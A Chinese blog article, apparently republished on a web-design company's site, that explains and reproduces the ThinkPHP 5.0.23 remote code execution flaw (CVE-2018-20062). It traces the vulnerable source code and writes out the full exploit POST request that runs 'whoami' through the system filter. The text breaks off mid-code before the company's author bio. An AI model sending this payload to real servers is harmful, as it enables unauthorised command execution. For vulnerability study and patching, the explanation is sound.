ThinkPHP5 5.0.23 RCE 漏洞原理与复现过程

发布时间:2026/9/24 6:13:45
ThinkPHP5 5.0.23 RCE 漏洞原理与复现过程 ThinkPHP5 5.0.23 RCE 漏洞原理与复现过程一、漏洞基本信息漏洞编号:CVE-2018-20062漏洞类型:未授权远程代码执行(RCE)影响版本ThinkPHP 5.0.x ≤5.0.23ThinkPHP 5.1.x 5.1.31漏洞简述:框架在处理_method伪请求方法时,对用户可控参数过滤不严,攻击者可以调用Request类任意方法,配合filter参数调用call_user_func,执行任意 PHP 函数,实现系统命令执行,无需登录。二、漏洞基本原理ThinkPHP 的_method参数:浏览器默认只能发 GET、POST 请求。但是 REST 接口需要 PUT、DELETE。ThinkPHP 为了方便,允许POST 请求里带一个参数_method,用来伪装成别的请求方式。比如 POST 提交_method=put,框架就认为这次是 PUT 请求。底层逻辑:把_method的值,当成一个方法名,去调用对应的处理方法。这里我们可以来看一下原版Request.php中对应的获取请求类型的方法:/** * 当前的请求类型 * @access public * @param bool $method true 获取原始请求类型 * @return string */publicfunctionmethod($method=false){if(true===$method){// 获取原始请求类型return$this-server('REQUEST_METHOD')?:'GET';}elseif(!$this-method){if(isset($_POST[Config::get('var_method')])){$this-method=strtoupper($_POST[Config::get('var_method')]);$this-{$this-method}($_POST);}elseif(isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])){$this-method=strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);}else{$this-method=$this-server('REQUEST_METHOD')?:'GET';}}return$this-method;// 返回请求类型}通过分析源码我们可以发现 该方法在:if(isset($_POST[Config::get('var_method')]))的时候,设置了$this-method为 POST提交参数中的Config::get('var_method'),在config.php配置文件中配置默认值就是字符串_method当前端传入的参数_method=__construct时,$this-method = "__CONSTRUCT"之后通过$this-{$this-method}($_POST);调用__construct这个魔术方法,把整个$_POST数组作为参数传给__construct()如果在发送POST数据包是参数是:POST /index.php?s=captcha HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded _method=__constructfilter[]=systemmethod=getserver[REQUEST_METHOD]=whoami(记下这个EXP请求的参数格式,后面会用到),那么$_POST原始数组:$_POST=['_method'='__construct','filter'=["system"],'method'="get",'server'=['REQUEST_METHOD'='whoami']];漏洞点就在这里:框架没有校验这个_method能不能是 PHP 类的魔术方法。在 PHP 类中存在一个魔术方法__construct这是类的构造函数。只要创建这个类的新对象,就会自动执行__construct()。但是!PHP 还有一个特性:你可以手动指定,直接去调用对象-__construct(),不用新建对象。在Request.php中__construct()方法的代码如下:/** * 构造函数 * @access protected * @param array $options 参数 */protectedfunction__construct($options=[]){foreach($optionsas$name=$item){if(property_exists($this,$name)){$this-$name=$item;}}if(is_null($this-filter)){$this-filter=Config::get('default_filter');}// 保存 php://input$this-input=file_get_contents('php://input');}该方法会循环遍历$options数组,通过property_exists方法判断 Request 类有没有对应的这个成员属性,如果有则将其值进行覆盖,property_exists($this,'_method'):Request 类没有定义_method这个成员属性,所以循环遇到_method这一项直接跳过,不会覆盖。覆盖过程如下:property_exists($this,'filter')为 true -$this-filter = ["system"];property_exists($this,'method')为 true -$this-method = "get";property_exists($this,'server')为 true -$this-server = ['REQUEST_METHOD'='whoami'];被覆盖的 filter 属性值会作为全局过滤函数使用。在method(true) → server('REQUEST_METHOD') → input() → filterValue()的调用链中:// thinkphp/library/think/Request.phpprotectedfunctiongetFilter($filter,$default){if(is_null($filter)){$filter=[];}else{$filter=$filter?:$this-filter;// 使用被覆盖的 filter 值}$filter[]=$default;return$filter;}publicfunctionserver($name='',$default=null,$filter=''){if(empty($this-server)){$this-server=$_SERVER;}if(is_array($name)){return$this-server=array_merge($this-server,$name);}return$this-input($this-server,false===$name?false:strtoupper($name),$d

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询